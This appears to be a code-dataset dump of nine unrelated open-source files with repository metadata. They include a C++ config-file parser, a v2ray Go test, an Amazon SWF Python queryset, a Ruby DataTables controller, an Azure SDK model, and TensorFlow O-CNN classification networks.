code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
#include "mdl_file.hpp" MDLFile::MDLFile(std::string file_path): File(std::move(file_path)) {this->update();} bool MDLFile::exists_tag(const std::string& tag_name) const { return this->parsed_tags.find(tag_name) != this->parsed_tags.end(); } bool MDLFile::exists_sequence(const std::string& sequence_name) const { return this->parsed_sequences.find(sequence_name) != this->parsed_sequences.end(); } void MDLFile::add_tag(std::string tag_name, std::string data) { this->write(tag_name + ": " + data, false); this->parsed_tags[tag_name] = data; } void MDLFile::add_sequence(std::string sequence_name, std::vector<std::string> data) { this->write(sequence_name + ": %[", false); if(!data.empty()) for(std::size_t i = 0; i < data.size(); i++) { std::string suffix = (i == data.size() - 1) ? "]%" : ""; this->write("- " + data.at(i) + suffix, false); } else this->write("]%", false); this->parsed_sequences[sequence_name] = data; } void MDLFile::delete_tag(std::string tag_name) { if(exists_tag(tag_name)) { std::vector<std::string> lines = this->get_lines(); for(std::size_t i = 0; i < lines.size(); i++) { std::string s = lines.at(i); if(mdl::util::find_tag_name(s) == tag_name) { this->write_line("", i); i++; } } this->parsed_tags.erase(tag_name); } } void MDLFile::delete_sequence(std::string sequence_name) { if(exists_sequence(sequence_name)) { std::vector<std::string> lines = this->get_lines(); for(std::size_t i = 0; i < lines.size(); i++) { std::string s = lines.at(i); if(mdl::util::find_tag_name(s) == sequence_name) { std::size_t sequence_size = mdl::util::find_sequence_values(lines, i).size(); for(std::size_t j = 0; j <= sequence_size; j++) { this->write_line("", i + j); } } } this->parsed_tags.erase(sequence_name); } } void MDLFile::edit_tag(std::string tag_name, std::string data) { this->delete_tag(tag_name); this->add_tag(tag_name, std::move(data)); } void MDLFile::edit_sequence(std::string sequence_name, std::vector<std::string> data) { this->delete_sequence(sequence_name); this->add_sequence(sequence_name, std::move(data)); } std::string MDLFile::get_tag(const std::string& tag_name) const { if(this->exists_tag(tag_name)) return this->get_parsed_tags().at(tag_name); return mdl::default_string; } std::vector<std::string> MDLFile::get_sequence(const std::string& sequence_name) const { if(this->exists_sequence(sequence_name)) return this->get_parsed_sequences().at(sequence_name); return {}; } const std::map<std::string, std::string>& MDLFile::get_parsed_tags() const { return this->parsed_tags; } const std::map<std::string, std::vector<std::string>>& MDLFile::get_parsed_sequences() const { return this->parsed_sequences; } void MDLFile::update() { this->parsed_tags.clear(); this->parsed_sequences.clear(); std::vector<std::string> lines = this->get_lines(); for(std::size_t i = 0; i < lines.size(); i++) { std::string line = lines.at(i); if(mdl::syntax::is_comment(line)) continue; if(mdl::syntax::is_tag(line)) this->parsed_tags[mdl::util::find_tag_name(line)] = mdl::util::find_tag_value(line); if(mdl::syntax::is_sequence(line)) this->parsed_sequences[mdl::util::find_sequence_name(line)] = mdl::util::find_sequence_values(lines, i); } } namespace mdl { std::vector<std::string> read_lines(const std::string& filename) { return File(filename).get_lines(); } std::string read(const std::string& filename) { return File(filename).get_data(); } namespace syntax { bool is_comment(const std::string& line) { return line.c_str()[0] == '#'; } bool is_tag(const std::string& line) { return line.find(": ") != std::string::npos && !mdl::syntax::is_sequence(line); } bool is_sequence(const std::string& line) { return line.find(": ") != std::string::npos && mdl::util::ends_with(line, "%["); } bool is_end_of_sequence(const std::string& line) { return mdl::util::ends_with(line, "]%"); } } namespace util { std::vector<std::string> split_string(const std::string& string, const std::string& delimiter) { std::vector<std::string> v; // Start of an element. std::size_t element_start = 0; // We start searching from the end of the previous element, which // initially is the start of the string. std::size_t element_end = 0; // Find the first non-delim, i.e. the start of an element, after the end of the previous element. while((element_start = string.find_first_not_of(delimiter, element_end)) != std::string::npos) { // Find the first delem, i.e. the end of the element (or if this fails it is the end of the string). element_end = string.find_first_of(delimiter, element_start); // Add it. v.emplace_back(string, element_start, element_end == std::string::npos ? std::string::npos : element_end - element_start); } // When there are no more non-spaces, we are done. return v; } bool ends_with(const std::string& string, const std::string& suffix) { if(string.length() >= suffix.length()) return (0 == string.compare(string.length() - suffix.length(), suffix.length(), suffix)); else return false; } bool begins_with(const std::string& string, const std::string& prefix) { return string.compare(0, prefix.length(), prefix) == 0; } std::string find_tag_name(const std::string& line) { std::string r; std::vector<std::string> sp = mdl::util::split_string(line, ":"); constexpr std::size_t minimum_split_quantity = 2; if(sp.size() < minimum_split_quantity) return mdl::default_string; return sp.at(0); } std::string find_tag_value(const std::string& line) { std::string r; std::vector<std::string> sp = mdl::util::split_string(line, ":"); constexpr std::size_t minimum_split_quantity = 2; if(sp.size() < minimum_split_quantity) return mdl::default_string; for(std::size_t i = 1; i < sp.size(); i++) { sp.at(i).erase(0, 1); r += sp.at(i); } return r; } std::string find_sequence_name(const std::string& line) { // Identical to finding tag name return find_tag_name(line); } std::vector<std::string> find_sequence_values(const std::vector<std::string>& lines, std::size_t index) { bool end = false; std::vector<std::string> r; if(!mdl::syntax::is_sequence(lines.at(index))) return r; while(++index < lines.size() && !end) { std::string cur = lines.at(index); if(mdl::util::begins_with(cur, "- ")) { cur.erase(0, 2); if(mdl::syntax::is_end_of_sequence(cur)) { cur.erase(cur.length() - 2, 2); end = true; } r.push_back(cur); } } return r; } } }
Harrand/MDL
src/mdl_file.cpp
C++
mit
6,776
package outbound_test import ( "context" "testing" "v2ray.com/core" "v2ray.com/core/app/policy" . "v2ray.com/core/app/proxyman/outbound" "v2ray.com/core/app/stats" "v2ray.com/core/common/net" "v2ray.com/core/common/serial" "v2ray.com/core/features/outbound" "v2ray.com/core/proxy/freedom" "v2ray.com/core/transport/internet" ) func TestInterfaces(t *testing.T) { _ = (outbound.Handler)(new(Handler)) _ = (outbound.Manager)(new(Manager)) } const v2rayKey core.V2rayKey = 1 func TestOutboundWithoutStatCounter(t *testing.T) { config := &core.Config{ App: []*serial.TypedMessage{ serial.ToTypedMessage(&stats.Config{}), serial.ToTypedMessage(&policy.Config{ System: &policy.SystemPolicy{ Stats: &policy.SystemPolicy_Stats{ InboundUplink: true, }, }, }), }, } v, _ := core.New(config) v.AddFeature((outbound.Manager)(new(Manager))) ctx := context.WithValue(context.Background(), v2rayKey, v) h, _ := NewHandler(ctx, &core.OutboundHandlerConfig{ Tag: "tag", ProxySettings: serial.ToTypedMessage(&freedom.Config{}), }) conn, _ := h.(*Handler).Dial(ctx, net.TCPDestination(net.DomainAddress("localhost"), 13146)) _, ok := conn.(*internet.StatCouterConnection) if ok { t.Errorf("Expected conn to not be StatCouterConnection") } } func TestOutboundWithStatCounter(t *testing.T) { config := &core.Config{ App: []*serial.TypedMessage{ serial.ToTypedMessage(&stats.Config{}), serial.ToTypedMessage(&policy.Config{ System: &policy.SystemPolicy{ Stats: &policy.SystemPolicy_Stats{ OutboundUplink: true, OutboundDownlink: true, }, }, }), }, } v, _ := core.New(config) v.AddFeature((outbound.Manager)(new(Manager))) ctx := context.WithValue(context.Background(), v2rayKey, v) h, _ := NewHandler(ctx, &core.OutboundHandlerConfig{ Tag: "tag", ProxySettings: serial.ToTypedMessage(&freedom.Config{}), }) conn, _ := h.(*Handler).Dial(ctx, net.TCPDestination(net.DomainAddress("localhost"), 13146)) _, ok := conn.(*internet.StatCouterConnection) if !ok { t.Errorf("Expected conn to be StatCouterConnection") } }
panzer13/v2ray-core
app/proxyman/outbound/handler_test.go
GO
mit
2,146
# -*- coding: utf-8 -*- # Copyright (c) 2013, Theo Crevon # Copyright (c) 2013, Greg Leclercq # # See the file LICENSE for copying permission. from boto.swf.exceptions import SWFResponseError from swf.constants import REGISTERED from swf.querysets.base import BaseQuerySet from swf.models import Domain from swf.models.workflow import (WorkflowType, WorkflowExecution, CHILD_POLICIES) from swf.utils import datetime_timestamp, past_day, get_subkey from swf.exceptions import (ResponseError, DoesNotExistError, InvalidKeywordArgumentError, AlreadyExistsError) class BaseWorkflowQuerySet(BaseQuerySet): """Base domain bounded workflow queryset objects Amazon workflows types and executions are always bounded to a specific domain: so any queryset which means to deal with workflows has to be built against a `domain` :param domain: domain the inheriting queryset belongs to :type domain: swf.model.domain.Domain """ # Amazon response section corresponding # to current queryset informations _infos = 'typeInfo' _infos_plural = 'typeInfos' def __init__(self, domain, *args, **kwargs): super(BaseWorkflowQuerySet, self).__init__(*args, **kwargs) Domain.check(domain) self.domain = domain @property def domain(self): if not hasattr(self, '_domain'): self._domain = None return self._domain @domain.setter def domain(self, value): # Avoiding circular import from swf.models.domain import Domain if not isinstance(value, Domain): err = "domain property has to be of"\ "swf.model.domain.Domain type, not %r"\ % type(value) raise TypeError(err) self._domain = value def _list(self, *args, **kwargs): raise NotImplementedError def _list_items(self, *args, **kwargs): response = {'nextPageToken': None} while 'nextPageToken' in response: response = self._list( *args, next_page_token=response['nextPageToken'], **kwargs ) for item in response[self._infos_plural]: yield item class WorkflowTypeQuerySet(BaseWorkflowQuerySet): # Explicit is better than implicit, keep zen _infos = 'typeInfo' _infos_plural = 'typeInfos' def to_WorkflowType(self, domain, workflow_info, **kwargs): # Not using get_subkey in order for it to explictly # raise when workflowType name doesn't exist for example return WorkflowType( domain, workflow_info['workflowType']['name'], workflow_info['workflowType']['version'], status=workflow_info['status'], **kwargs ) def get(self, name, version, *args, **kwargs): """Fetches the Workflow Type with `name` and `version` :param name: name of the workflow type :type name: String :param version: workflow type version :type version: String :returns: matched workflow type instance :rtype: swf.core.model.workflow.WorkflowType A typical Amazon response looks like: .. code-block:: json { "configuration": { "defaultExecutionStartToCloseTimeout": "300", "defaultTaskStartToCloseTimeout": "300", "defaultTaskList": { "name": "None" }, "defaultChildPolicy": "TERMINATE" }, "typeInfo": { "status": "REGISTERED", "creationDate": 1364492094.968, "workflowType": { "version": "1", "name": "testW" } } } """ try: response = self.connection.describe_workflow_type(self.domain.name, name, version) except SWFResponseError as e: if e.error_code == 'UnknownResourceFault': raise DoesNotExistError(e.body['message']) raise ResponseError(e.body['message']) wt_info = response[self._infos] wt_config = response['configuration'] task_list = kwargs.get('task_list') if task_list is None: task_list = get_subkey(wt_config, ['defaultTaskList', 'name']) child_policy = kwargs.get('child_policy') if child_policy is None: child_policy = wt_config.get('defaultChildPolicy') decision_task_timeout = kwargs.get('decision_task_timeout') if decision_task_timeout is None: decision_task_timeout = wt_config.get( 'defaultTaskStartToCloseTimeout') execution_timeout = kwargs.get('execution_timeout') if execution_timeout is None: execution_timeout = wt_config.get( 'defaultExecutionStartToCloseTimeout') decision_tasks_timeout = kwargs.get('decision_tasks_timeout') if decision_tasks_timeout is None: decision_tasks_timeout = wt_config.get( 'defaultTaskStartToCloseTimeout') return self.to_WorkflowType( self.domain, wt_info, task_list=task_list, child_policy=child_policy, execution_timeout=execution_timeout, decision_tasks_timeout=decision_tasks_timeout, ) def get_or_create(self, name, version, status=REGISTERED, creation_date=0.0, deprecation_date=0.0, task_list=None, child_policy=CHILD_POLICIES.TERMINATE, execution_timeout='300', decision_tasks_timeout='300', description=None, *args, **kwargs): """Fetches, or creates the ActivityType with ``name`` and ``version`` When fetching trying to fetch a matching workflow type, only name and version parameters are taken in account. Anyway, If you'd wanna make sure that in case the workflow type has to be created it is made with specific values, just provide it. :param name: name of the workflow type :type name: String :param version: workflow type version :type version: String :param status: workflow type status :type status: swf.core.ConnectedSWFObject.{REGISTERED, DEPRECATED} :param creation_date: creation date of the current WorkflowType :type creation_date: float (timestamp) :param deprecation_date: deprecation date of WorkflowType :type deprecation_date: float (timestamp) :param task_list: task list to use for scheduling decision tasks for executions of this workflow type :type task_list: String :param child_policy: policy to use for the child workflow executions when a workflow execution of this type is terminated :type child_policy: CHILD_POLICIES.{TERMINATE | REQUEST_CANCEL | ABANDON} :param execution_timeout: maximum duration for executions of this workflow type :type execution_timeout: String :param decision_tasks_timeout: maximum duration of decision tasks for this workflow type :type decision_tasks_timeout: String :param description: Textual description of the workflow type :type description: String :returns: Fetched or created WorkflowType model object :rtype: WorkflowType """ try: return self.get(name, version, task_list=task_list, child_policy=child_policy, execution_timeout=execution_timeout, decision_tasks_timeout=decision_tasks_timeout) except DoesNotExistError: try: return self.create( name, version, status=status, creation_date=creation_date, deprecation_date=deprecation_date, task_list=task_list, child_policy=child_policy, execution_timeout=execution_timeout, decision_tasks_timeout=decision_tasks_timeout, description=description, ) # race conditon could happen if two workflows trying to register the same type except AlreadyExistsError: return self.get(name, version, task_list=task_list, child_policy=child_policy, execution_timeout=execution_timeout, decision_tasks_timeout=decision_tasks_timeout) def _list(self, *args, **kwargs): return self.connection.list_workflow_types(*args, **kwargs) def filter(self, domain=None, registration_status=REGISTERED, name=None, *args, **kwargs): """Filters workflows based on the ``domain`` they belong to, their ``status``, and/or their ``name`` :param domain: domain the workflow type belongs to :type domain: swf.models.domain.Domain :param registration_status: workflow type registration status to match, Valid values are: * ``swf.constants.REGISTERED`` * ``swf.constants.DEPRECATED`` :type registration_status: string :param name: workflow type name to match :type name: string :returns: list of matched WorkflowType models objects :rtype: list """ # As WorkflowTypeQuery has to be built against a specific domain # name, domain filter is disposable, but not mandatory. domain = domain or self.domain return [self.to_WorkflowType(domain, wf) for wf in self._list_items(domain.name, registration_status, name=name)] def all(self, registration_status=REGISTERED, *args, **kwargs): """Retrieves every Workflow types :param registration_status: workflow type registration status to match, Valid values are: * ``swf.constants.REGISTERED`` * ``swf.constants.DEPRECATED`` :type registration_status: string A typical Amazon response looks like: .. code-block:: json { "typeInfos": [ { "status": "REGISTERED", "creationDate": 1364293450.67, "description": "", "workflowType": { "version": "1", "name": "Crawl" } }, { "status": "REGISTERED", "creationDate": 1364492094.968, "workflowType": { "version": "1", "name": "testW" } } ] } """ return self.filter(registration_status=registration_status) def create(self, name, version, status=REGISTERED, creation_date=0.0, deprecation_date=0.0, task_list=None, child_policy=CHILD_POLICIES.TERMINATE, execution_timeout='300', decision_tasks_timeout='300', description=None, *args, **kwargs): """Creates a new remote workflow type and returns the created WorkflowType model instance. :param name: name of the workflow type :type name: String :param version: workflow type version :type version: String :param status: workflow type status :type status: swf.core.ConnectedSWFObject.{REGISTERED, DEPRECATED} :param creation_date: creation date of the current WorkflowType :type creation_date: float (timestamp) :param deprecation_date: deprecation date of WorkflowType :type deprecation_date: float (timestamp) :param task_list: task list to use for scheduling decision tasks for executions of this workflow type :type task_list: String :param child_policy: policy to use for the child workflow executions when a workflow execution of this type is terminated :type child_policy: CHILD_POLICIES.{TERMINATE | REQUEST_CANCEL | ABANDON} :param execution_timeout: maximum duration for executions of this workflow type :type execution_timeout: String :param decision_tasks_timeout: maximum duration of decision tasks for this workflow type :type decision_tasks_timeout: String :param description: Textual description of the workflow type :type description: String """ workflow_type = WorkflowType( self.domain, name, version, status=status, creation_date=creation_date, deprecation_date=deprecation_date, task_list=task_list, child_policy=child_policy, execution_timeout=execution_timeout, decision_tasks_timeout=decision_tasks_timeout, description=description ) workflow_type.save() return workflow_type class WorkflowExecutionQuerySet(BaseWorkflowQuerySet): """Fetches Workflow executions""" _infos = 'executionInfo' _infos_plural = 'executionInfos' def _is_valid_status_param(self, status, param): statuses = { WorkflowExecution.STATUS_OPEN: set([ 'oldest_date', 'latest_date'], ), WorkflowExecution.STATUS_CLOSED: set([ 'start_latest_date', 'start_oldest_date', 'close_latest_date', 'close_oldest_date', 'close_status' ]), } return param in statuses.get(status, set()) def _validate_status_parameters(self, status, params): return [param for param in params if not self._is_valid_status_param(status, param)] def list_workflow_executions(self, status, *args, **kwargs): statuses = { WorkflowExecution.STATUS_OPEN: 'open', WorkflowExecution.STATUS_CLOSED: 'closed', } # boto.swf.list_closed_workflow_executions awaits a `start_oldest_date` # MANDATORY kwarg, when boto.swf.list_open_workflow_executions awaits a # `oldest_date` mandatory arg. if status == WorkflowExecution.STATUS_OPEN: kwargs['oldest_date'] = kwargs.pop('start_oldest_date') try: method = 'list_{}_workflow_executions'.format(statuses[status]) return getattr(self.connection, method)(*args, **kwargs) except KeyError: raise ValueError("Unknown status provided: %s" % status) def get_workflow_type(self, execution_info): workflow_type = execution_info['workflowType'] workflow_type_qs = WorkflowTypeQuerySet(self.domain) return workflow_type_qs.get( workflow_type['name'], workflow_type['version'], ) def to_WorkflowExecution(self, domain, execution_info, **kwargs): workflow_type = WorkflowType( self.domain, execution_info['workflowType']['name'], execution_info['workflowType']['version'] ) return WorkflowExecution( domain, get_subkey(execution_info, ['execution', 'workflowId']), # workflow_id run_id=get_subkey(execution_info, ['execution', 'runId']), workflow_type=workflow_type, status=execution_info.get('executionStatus'), close_status=execution_info.get('closeStatus'), tag_list=execution_info.get('tagList'), start_timestamp=execution_info.get('startTimestamp'), close_timestamp=execution_info.get('closeTimestamp'), cancel_requested=execution_info.get('cancelRequested'), parent=execution_info.get('parent'), **kwargs ) def get(self, workflow_id, run_id, *args, **kwargs): """ """ try: response = self.connection.describe_workflow_execution( self.domain.name, run_id, workflow_id) except SWFResponseError as e: if e.error_code == 'UnknownResourceFault': raise DoesNotExistError(e.body['message']) raise ResponseError(e.body['message']) execution_info = response[self._infos] execution_config = response['executionConfiguration'] return self.to_WorkflowExecution( self.domain, execution_info, task_list=get_subkey(execution_config, ['taskList', 'name']), child_policy=execution_config.get('childPolicy'), execution_timeout=execution_config.get('executionStartToCloseTimeout'), decision_tasks_timeout=execution_config.get('taskStartToCloseTimeout'), latest_activity_task_timestamp=response.get('latestActivityTaskTimestamp'), latest_execution_context=response.get('latestExecutionContext'), open_counts=response['openCounts'], ) def filter(self, status=WorkflowExecution.STATUS_OPEN, tag=None, workflow_id=None, workflow_type_name=None, workflow_type_version=None, *args, **kwargs): """Filters workflow executions based on kwargs provided criteras :param status: workflow executions with provided status will be kept. Valid values are: * ``swf.models.WorkflowExecution.STATUS_OPEN`` * ``swf.models.WorkflowExecution.STATUS_CLOSED`` :type status: string :param tag: workflow executions containing the tag will be kept :type tag: String :param workflow_id: workflow executions attached to the id will be kept :type workflow_id: String :param workflow_type_name: workflow executions attached to the workflow type with provided name will be kept :type workflow_type_name: String :param workflow_type_version: workflow executions attached to the workflow type of the provided version will be kept :type workflow_type_version: String **Be aware that** querying over status allows the usage of statuses specific kwargs * STATUS_OPEN :param start_latest_date: latest start or close date and time to return (in days) :type start_latest_date: int * STATUS_CLOSED :param start_latest_date: workflow executions that meet the start time criteria of the filter are kept (in days) :type start_latest_date: int :param start_oldest_date: workflow executions that meet the start time criteria of the filter are kept (in days) :type start_oldest_date: int :param close_latest_date: workflow executions that meet the close time criteria of the filter are kept (in days) :type close_latest_date: int :param close_oldest_date: workflow executions that meet the close time criteria of the filter are kept (in days) :type close_oldest_date: int :param close_status: must match the close status of an execution for it to meet the criteria of this filter. Valid values are: * ``CLOSE_STATUS_COMPLETED`` * ``CLOSE_STATUS_FAILED`` * ``CLOSE_STATUS_CANCELED`` * ``CLOSE_STATUS_TERMINATED`` * ``CLOSE_STATUS_CONTINUED_AS_NEW`` * ``CLOSE_TIMED_OUT`` :type close_status: string :returns: workflow executions objects list :rtype: list """ # As WorkflowTypeQuery has to be built against a specific domain # name, domain filter is disposable, but not mandatory. invalid_kwargs = self._validate_status_parameters(status, kwargs) if invalid_kwargs: err_msg = 'Invalid keyword arguments supplied: {}'.format( ', '.join(invalid_kwargs)) raise InvalidKeywordArgumentError(err_msg) if status == WorkflowExecution.STATUS_OPEN: oldest_date = kwargs.pop('oldest_date', 30) else: # The SWF docs on ListClosedWorkflowExecutions state that: # # "startTimeFilter and closeTimeFilter are mutually exclusive" # # so we must figure out if we have to add a default value for # start_oldest_date or not. if "close_latest_date" in kwargs or "close_oldest_date" in kwargs: default_oldest_date = None else: default_oldest_date = 30 oldest_date = kwargs.pop('start_oldest_date', default_oldest_date) # Compute a timestamp from the delta in days we got from params # If oldest_date is blank at this point, it's because we didn't want # it, so let's leave it blank and assume the user provided an other # time filter. if oldest_date: start_oldest_date = int(datetime_timestamp(past_day(oldest_date))) else: start_oldest_date = None return [self.to_WorkflowExecution(self.domain, wfe) for wfe in self._list_items( *args, domain=self.domain.name, status=status, workflow_id=workflow_id, workflow_name=workflow_type_name, workflow_version=workflow_type_version, start_oldest_date=start_oldest_date, tag=tag, **kwargs )] def _list(self, *args, **kwargs): return self.list_workflow_executions(*args, **kwargs) def all(self, status=WorkflowExecution.STATUS_OPEN, start_oldest_date=30, *args, **kwargs): """Fetch every workflow executions during the last `start_oldest_date` days, with `status` :param status: Workflow executions status filter :type status: swf.models.WorkflowExecution.{STATUS_OPEN, STATUS_CLOSED} :param start_oldest_date: Specifies the oldest start/close date to return. :type start_oldest_date: integer (days) :returns: workflow executions objects list :rtype: list A typical amazon response looks like: .. code-block:: json { "executionInfos": [ { "cancelRequested": "boolean", "closeStatus": "string", "closeTimestamp": "number", "execution": { "runId": "string", "workflowId": "string" }, "executionStatus": "string", "parent": { "runId": "string", "workflowId": "string" }, "startTimestamp": "number", "tagList": [ "string" ], "workflowType": { "name": "string", "version": "string" } } ], "nextPageToken": "string" } """ start_oldest_date = datetime_timestamp(past_day(start_oldest_date)) return [self.to_WorkflowExecution(self.domain, wfe) for wfe in self._list_items( status, self.domain.name, start_oldest_date=int(start_oldest_date))]
botify-labs/python-simple-workflow
swf/querysets/workflow.py
Python
mit
25,485
module DataTablesController def self.included(cls) cls.extend(ClassMethods) end module ClassMethods def datatables_source(action, model, *attrs) modelCls = Kernel.const_get(model.to_s.capitalize) modelAttrs = modelCls.new.attributes columns = [] modelAttrs.each_key { |k| columns << k } options = {} attrs.each do |option| option.each { |k,v| options[k] = v } end # override columns columns = options_to_columns(options) if options[:columns] # number of results numResults = options[:numResults].nil? ? 10 : options[:numResults] # define columns so they are accessible from the helper define_columns(modelCls, columns, action) # define method that returns the data for the table define_datatables_action(self, action, modelCls, columns, numResults) end def define_datatables_action(controller, action, modelCls, columns, numResults) define_method action.to_sym do limit = params[:iDisplayLength].nil? ? numResults : params[:iDisplayLength].to_i totalRecords = modelCls.count data = modelCls.find(:all, :offset => params[:iDisplayStart].to_i, :limit => limit).collect do |instance| columns.collect { |column| datatables_instance_get_value(instance, column) } end render :text => {:iTotalRecords => totalRecords, :iTotalDisplayRecords => totalRecords, :aaData => data, :sEcho => params[:sEcho].to_i}.to_json end end private # # Takes a list of columns from options and transforms them # def options_to_columns(options) columns = [] options[:columns].each do |column| if column.kind_of? Symbol # a column from the database, we don't need to do anything columns << {:name => column, :attribute => column} elsif column.kind_of? Hash columns << {:name => column[:name], :special => column} end end columns end def define_columns(cls, columns, action) define_method "datatable_#{action}_columns".to_sym do columnNames = [] columns.each do |column| if column[:method] or column[:eval] columnNames << I18n.t(column[:name], :default => column[:name].to_s) else columnNames << I18n.t(column[:name].to_sym, :default => column[:name].to_s) end end columnNames end end end # gets the value for a column and row def datatables_instance_get_value(instance, column) if column[:attribute] val = instance.send(column[:attribute].to_sym) return I18n.t(val.to_s.to_sym, :default => val.to_s) if not val.nil? return '' elsif column[:special] special = column[:special] if special[:method] return method(special[:method].to_sym).call(instance) elsif special[:eval] proc = lambda { obj = instance; binding } return Kernel.eval(special[:eval], proc.call) end end return "value not found" end def datatable_source(name) {:action => name, :attrs => method("datatable_#{name}_columns".to_sym).call} end end
chrismoos/datatables
lib/data_tables_controller.rb
Ruby
mit
3,255
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Resources::Mgmt::V2019_03_01 module Models # # Deployment operation information. # class DeploymentOperation include MsRestAzure # @return [String] Full deployment operation ID. attr_accessor :id # @return [String] Deployment operation ID. attr_accessor :operation_id # @return [DeploymentOperationProperties] Deployment properties. attr_accessor :properties # # Mapper for DeploymentOperation class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'DeploymentOperation', type: { name: 'Composite', class_name: 'DeploymentOperation', model_properties: { id: { client_side_validation: true, required: false, read_only: true, serialized_name: 'id', type: { name: 'String' } }, operation_id: { client_side_validation: true, required: false, read_only: true, serialized_name: 'operationId', type: { name: 'String' } }, properties: { client_side_validation: true, required: false, serialized_name: 'properties', type: { name: 'Composite', class_name: 'DeploymentOperationProperties' } } } } } end end end end
Azure/azure-sdk-for-ruby
management/azure_mgmt_resources/lib/2019-03-01/generated/azure_mgmt_resources/models/deployment_operation.rb
Ruby
mit
1,938
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Ch05Ex02")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Ch05Ex02")] [assembly: AssemblyCopyright("Copyright © 2015")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("5a1edf75-34f0-4a6e-84ee-acb954946e2a")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
s5s5/BegVCSharp
Chapter05/Ch05Ex02/Ch05Ex02/Properties/AssemblyInfo.cs
C#
mit
1,392
# frozen_string_literal: true require 'spec_helper' describe Promo do let(:promo) { build(:promo, promoter_type: 'discount') } subject { promo } describe 'validations' do it { is_expected.to validate_presence_of :name } it { is_expected.to validate_presence_of :type } it { is_expected.to validate_presence_of :promoter_type } end describe '.withdrawal scope' do let!(:withdrawal1) { create(:promo) } let!(:withdrawal2) { create(:promo) } let!(:withdrawal3) { create(:option_promo) } subject { described_class.withdrawal } it 'returns only withdrawal promos' do expect(subject).to eq [withdrawal1, withdrawal2] end end describe '.active scope' do let!(:active) { create(:active_promo, date_from: 1.week.ago, date_to: 1.week.from_now) } let!(:inactive) { create(:promo) } let!(:active_but_expired) { create(:promo, date_from: 1.month.ago, date_to: 1.week.ago) } it 'returns promos with active state and that runs today' do expect(described_class.active).to include active end it 'does not return promo with expired date' do expect(described_class.active).not_to include active_but_expired end it 'does not returns promo with inactive state' do expect(described_class.active).not_to include inactive end end describe 'states' do it 'initial state' do expect(promo.state).to eq 'pending' end context 'start! event' do before { subject.start! } it 'turns to active' do expect(subject.state).to eq 'active' end end context 'stop!' do before do subject.start! subject.stop! end it 'turns to pending' do expect(subject.state).to eq 'pending' end end end describe '#promoter' do it 'calls promoters repository' do expect(PromotersRepository).to receive(:find_by_type).with(promo.promoter_type) subject.promoter end it 'returns according promoter' do expect(subject.promoter).to eq DiscountPromoter end end end # == Schema Information # # Table name: promos # # id :integer not null, primary key # name :string(255) # type :string(255) # date_from :date # date_to :date # promoter_type :string(255) # promo_code :string(255) # created_at :datetime # updated_at :datetime # attrs :hstore default({}) #
smartvpnbiz/smartvpn-billing
spec/models/promo_spec.rb
Ruby
mit
2,452
// File auto generated by STUHashTool using static STULib.Types.Generic.Common; namespace STULib.Types.Dump { [STU(0xBE0222CD)] public class STU_BE0222CD : STU_3DD6C6E9 { [STUField(0x982D7B62)] public STUVec3 m_982D7B62; } }
kerzyte/OWLib
STULib/Types/Dump/STU_BE0222CD.cs
C#
mit
254
import tensorflow as tf from ocnn import * # octree-based resnet55 def network_resnet(octree, flags, training=True, reuse=None): depth = flags.depth channels = [2048, 1024, 512, 256, 128, 64, 32, 16, 8] with tf.variable_scope("ocnn_resnet", reuse=reuse): data = octree_property(octree, property_name="feature", dtype=tf.float32, depth=depth, channel=flags.channel) data = tf.reshape(data, [1, flags.channel, -1, 1]) with tf.variable_scope("conv1"): data = octree_conv_bn_relu(data, octree, depth, channels[depth], training) for d in range(depth, 2, -1): for i in range(0, flags.resblock_num): with tf.variable_scope('resblock_%d_%d' % (d, i)): data = octree_resblock(data, octree, d, channels[d], 1, training) with tf.variable_scope('max_pool_%d' % d): data, _ = octree_max_pool(data, octree, d) with tf.variable_scope("global_average"): data = octree_full_voxel(data, depth=2) data = tf.reduce_mean(data, 2) if flags.dropout[0]: data = tf.layers.dropout(data, rate=0.5, training=training) with tf.variable_scope("fc2"): logit = dense(data, flags.nout, use_bias=True) return logit # the ocnn in the paper def network_ocnn(octree, flags, training=True, reuse=None): depth = flags.depth channels = [512, 256, 128, 64, 32, 16, 8, 4, 2] with tf.variable_scope("ocnn", reuse=reuse): data = octree_property(octree, property_name="feature", dtype=tf.float32, depth=depth, channel=flags.channel) data = tf.reshape(data, [1, flags.channel, -1, 1]) for d in range(depth, 2, -1): with tf.variable_scope('depth_%d' % d): data = octree_conv_bn_relu(data, octree, d, channels[d], training) data, _ = octree_max_pool(data, octree, d) with tf.variable_scope("full_voxel"): data = octree_full_voxel(data, depth=2) data = tf.layers.dropout(data, rate=0.5, training=training) with tf.variable_scope("fc1"): data = fc_bn_relu(data, channels[2], training=training) data = tf.layers.dropout(data, rate=0.5, training=training) with tf.variable_scope("fc2"): logit = dense(data, flags.nout, use_bias=True) return logit def cls_network(octree, flags, training, reuse=False): if flags.name.lower() == 'ocnn': return network_ocnn(octree, flags, training, reuse) elif flags.name.lower() == 'resnet': return network_resnet(octree, flags, training, reuse) else: print('Error, no network: ' + flags.name)
microsoft/O-CNN
tensorflow/script/network_cls.py
Python
mit
2,557
